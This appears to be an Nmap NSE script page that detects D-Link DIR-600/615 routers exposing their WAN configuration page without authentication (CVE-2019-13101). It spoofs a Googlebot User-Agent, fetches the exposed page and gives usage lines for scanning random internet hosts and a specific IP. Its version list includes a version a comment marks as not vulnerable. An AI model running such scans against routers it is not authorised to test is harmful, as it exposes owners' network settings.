Script Source
Toggle
The full script source is stored with this entry and is hidden by default to keep
the page easier to scan.
---
-- Nmap NSE dlink-cve-2019-13101.nse - Version 1.12
-- Copy to: /usr/share/nmap/scripts/dlink-cve-2019-13101.nse
-- Update NSE database: sudo nmap --script-updatedb
-- execute: nmap --script-help dlink-cve-2019-13101.nse
-- Port(s) accepted by this nse: 80,443,8080-8082
---
description = [[
Module Author: r00t-3xp10it {Disclosure = Devendra Singh}
Detects whether the D-Link DIR-600 or DIR-615 router is vulnerable to Incorrect Access Control Vulnerability (CVE-2019-13101).
A remote vulnerability was discovered on D-Link DIR-600M/DIR-615 Wireless Home Router in multiple respective firmware versions
(3.02 up to 3.06). The vulnerability provides unauthenticated remote access to the routers WAN configuration page i.e. '/wan.htm'
which leads to disclosure of sensitive user info about the WAN, including but not limited to PPPoE, DNS configuration etc, also
allowing us to change the router configuration settings.
Some Syntax examples:
nmap --script-help dlink-cve-2019-13101.nse
nmap -sV -Pn -n -p 80,443,8080-8082 --open --script dlink-cve-2019-13101.nse 37.99.213.95
nmap -sV -Pn -n -p 80,443 --open --script dlink-cve-2019-13101.nse --script-args "verbose=true" 37.99.213.95
nmap -sS -Pn -n -p 80,443,8080-8082 --open --script dlink-cve-2019-13101.nse --script-args "uri=/" 37.99.213.95
nmap -sS -Pn -n -p 80,443 --open --script dlink-cve-2019-13101.nse --script-args "uri=/,User-Agent=Apache-HttpClient/4.0.3" 37.99.213.95
nmap -sV -v -Pn -n -T4 -iR 800 -p 80,443,8080 --open --script=http-headers.nse,dlink-cve-2019-13101.nse --script-args "verbose=true"
]]
---
-- @usage:
-- nmap --script-help dlink-cve-2019-13101.nse
-- nmap -sV -Pn -n -p 80,443,8080-8082 --open --script dlink-cve-2019-13101.nse 37.99.213.95
-- nmap -sV -Pn -n -p 80,443 --open --script dlink-cve-2019-13101.nse --script-args "verbose=true" 37.99.213.95
-- nmap -sS -Pn -n -p 80,443,8080-8082 --open --script dlink-cve-2019-13101.nse --script-args "uri=/" 37.99.213.95
-- nmap -sS -Pn -n -p 80,443 --open --script dlink-cve-2019-13101.nse --script-args "uri=/,User-Agent=Apache-HttpClient/4.0.3" 37.99.213.95
-- nmap -sV -v -Pn -n -T4 -iR 800 -p 80,443,8080 --open --script=http-headers.nse,dlink-cve-2019-13101.nse --script-args "verbose=true"
-- @output
-- PORT STATE SERVICE VERSION
-- 443/tcp open http D-Link DIR-600 WAP http config 2.17
-- | dlink-cve-2019-13101:
-- | VULNERABLE:
-- | D-Link DIR-600/615 Wireless Home Router
-- | State: VULNERABLE
-- | IDs: CVE:CVE-2019-13101
-- | Risk factor: Medium CVSSv2: 7.5 (MEDIUM) (AV:N/AC:L/Au:N/C:P/I:P/A:P)
-- | A remote vulnerability was discovered on D-Link DIR-600/DIR-615 Wireless Home Router in multiple respective firmware
-- | versions (3.02 up to 3.06). The vulnerability provides unauthenticated remote access to the routers WAN configuration
-- | page i.e. '/wan.htm', which leads to disclosure of sensitive info about the WAN, including but not limited to PPPoE,
-- | DNS configuration etc, also allowing us to change the router configuration settings.
-- |
-- | Disclosure date: 2019-Ago-08
-- | Exploit results:
-- | Uri: http://37.99.213.95:443/
-- | DLink version: DIR-600 Ver 2.17
-- | Found a match between (TITLE|PPPoE)
-- |
-- | Referencies:
-- | https://nvd.nist.gov/vuln/detail/CVE-2019-13101
-- | https://www.cybersecurity-help.cz/vdb/SB2019081001
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13101
-- |_
-- @args verbose => Display More verbose outputs - Default: false
-- @args uri => the URL path to search in host.ip - Default: /wan.htm
-- @args. User-Agent => User-Agent to send in requests - Default: Googlebot/2.1
---
author = "r00t-3xp10it"
copyright = "Devendra Singh"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"save", "vuln"}
-- DEPENDENCIES (lua nse libs) --
local http = require "http"
local table = require "table"
local vulns = require "vulns"
local stdnse = require "stdnse"
local string = require "string"
local shortport = require "shortport"
-- THE RULE SECTION --
portrule = shortport.port_or_service({80, 443, 8080, 8081, 8082}, "http, http-proxy, https", "tcp", "open")
local verbose = stdnse.get_script_args(SCRIPT_NAME..".verbose") or "false"
local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/wan.htm"
local uri_found, version_match
-- THE ACTION SECTION --
action = function(host, port)
-- Manipulate TCP packet 'header' with false information about attacker :D
local _decoy = {header={}} --> manipulate 'header' request ..
_decoy['header']['User-Agent'] = stdnse.get_script_args(SCRIPT_NAME..".User-Agent") or "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" --> use 'Googlebot/2.1' User-agent OR input a new one...
_decoy['header']['Accept-Language'] = "en-GB,en;q=0.8,sv" --> use en-GB as attacker default install language
_decoy['header']['Cache-Control'] = "no-store" --> Instruct webserver to not write it to disk (do not to cache it)
-- Identify servers that answer [200] to invalid HTTP requests
-- and exit them (abort exec) as these would invalidate the tests.
local status_404, result_404, _ = http.identify_404(host, port)
if ( status_404 and result_404 == 200 ) then
print("CVE-2019-13101:\n| Exiting: "..host.ip..":"..port.number..uri.." (false positive)\n| Reason: All URIs tested return status [200] OK\n|_")
return nil
end
-- Make sure that uri respondes with 200 [OK] { no redirection | no_cache }
-- [001] importante check to be abble to classify host.ip as state.vulnerable
local response = http.get(host, port, uri, { redirect_ok = false, no_cache = true, no_cache_body = true })
if ( not(response or response.status) ) then
return nil
elseif (response and response.status == 200) then
uri_found = "true"
elseif (response and response.status ~= 200) then
uri_found = "false"
end
-- Table of (arrays) DLINK vulnerable version(s)
-- REMARK: vuln_table = { #DIR-600 Ver 2.17 } => ITS NOT VULN (Used For Debug at develop stage).
vuln_table = {"DIR-600 Ver 2.17", "DIR-600 Ver 3.02", "DIR-600 Ver 3.03", "DIR-600 Ver 3.04", "DIR-600 Ver 3.05", "DIR-600 Ver 3.06", "DIR-615 Ver 3.02", "DIR-615 Ver 3.03", "DIR-615 Ver 3.04", "DIR-615 Ver 3.05", "DIR-615 Ver 3.06"}
local header_server = response.header and response.header['server'] or ""
-- Parse 'header_server' response... IF it contains the string { HTTP/1.1 | HTTP/1.2 }
-- Some header['server'] respondes with { DISTRO_flavor, HTTP_method, } others dont.
if string.find(header_server, "HTTP/1.1,") or string.find(header_server, "HTTP/1.2,") then
pp_headers = header_server:sub(18) --> Delete { Linux, HTTP/1.1, | Linux, HTTP/1.2, } from response.header
else
pp_headers = header_server
end
-- Loop through {vuln_table} to find a :match to response.header['server']
-- [002] importante check to be abble to classify host.ip as state.vulnerable
for i, vuln_version in pairs(vuln_table) do
if (pp_headers == vuln_version) then
version_match = "true"
break --> break loop if a match its found
else
version_match = "false"
end
end
-- Build Nmap vulnerable {table}
local vuln_table = {
title = "D-Link DIR-600/615 Wireless Home Router",
state = vulns.STATE.NOT_VULN,
IDS = {CVE = 'CVE-2019-13101'},
risk_factor = "Medium",
scores = {
CVSSv2 = "7.5 (MEDIUM) (AV:N/AC:L/Au:N/C:P/I:P/A:P)",
},
description = [[
A remote vulnerability was discovered on D-Link DIR-600/DIR-615 Wireless Home Router in multiple respective firmware
versions (3.02 up to 3.06). The vulnerability provides unauthenticated remote access to the routers WAN configuration
page i.e. '/wan.htm', which leads to disclosure of sensitive info about the WAN, including but not limited to PPPoE,
DNS configuration etc, also allowing us to change the router configuration settings.
]],
references = {
'https://nvd.nist.gov/vuln/detail/CVE-2019-13101',
'https://www.cybersecurity-help.cz/vdb/SB2019081001',
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13101',
},
dates = {
disclosure = {year = '2019', month = 'Ago', day = '08'},
},
exploit_results = {}, --> Display exploit results
}
if (uri_found == "true" and version_match == "true") then
table.insert(vuln_table.exploit_results, "Uri: http://"..host.ip..":"..port.number..uri)
table.insert(vuln_table.exploit_results, "DLink version: "..pp_headers)
table.insert(vuln_table.exploit_results, "Found a match between (TITLE|PPPoE)\n")
end
-- Try to :match 'response.body' againts diferent HTTP titles <tags>
-- REMARK: If we are trying to NOT match the ALL string, then Special chars [ - ]
-- must bee escaped [ % ] before using string.find() API { ie. D%-LINK | DIR%-6 }
response = http.get(host, port, uri, _decoy, { redirect_ok = false, no_cache = true })
local vuln_title = "D-LINK SYSTEMS, INC. | WIRELESS ROUTER | HOME"
if ( not(response.body) ) then
title = "not found" --> set title as "not found" to use :match("PPPoE") method
else
if string.find(response.body, vuln_title) then
title = vuln_title --> Query for: full HTTP title <tag> (default)
elseif string.find(response.body, "D%-LINK") then
title = "D%-LINK" --> query for: D-LINK expressions (response.body)
elseif string.find(response.body, "DIR%-6") then
title = "DIR%-6" --> query for: DIR-600 and DIR-615 (title <tags>)
else
-- None comrrespondent title <tag> found (response.body)
-- set title as "not found" to use :match("PPPoE") method
title = "not found"
end
end
-- Final checks (uri_found|version_match|title_match OR PPPoE)
if (uri_found == "false" and verbose == "true") then
return "\n D-Link DIR-600/615 Wireless Home Router\n State: NOT VULNERABLE to CVE-2019-13101\n Reason: [001] Uri Not Found in Response\n\n"
elseif (version_match == "false" and verbose == "true") then
return "\n D-Link DIR-600/615 Wireless Home Router\n State: NOT VULNERABLE to CVE-2019-13101\n Reason: [002] Not Vuln Server Version\n\n"
-- [003] importante check to be abble to classify host.ip as state.vulnerable
elseif ( not(string.find(response.body, title) or response.body:match("PPPoE")) ) then
if (verbose == "true") then return "\n D-Link DIR-600/615 Wireless Home Router\n State: NOT VULNERABLE to CVE-2019-13101\n Reason: [003] None Match Found (TITLE|PPPoE)\n\n" end
-- We have reached The ['vulnerable_target'] == All [3] importante tests have succeded .. response.body:match(title)
elseif (uri_found == "true" and version_match == "true" and response.body:match("PPPoE") or uri_found == "true" and version_match == "true" and string.find(response.body, title)) then
vuln_table.state = vulns.STATE.VULN
local report = vulns.Report:new(SCRIPT_NAME, host, port)
return report:make_output(vuln_table)
end
end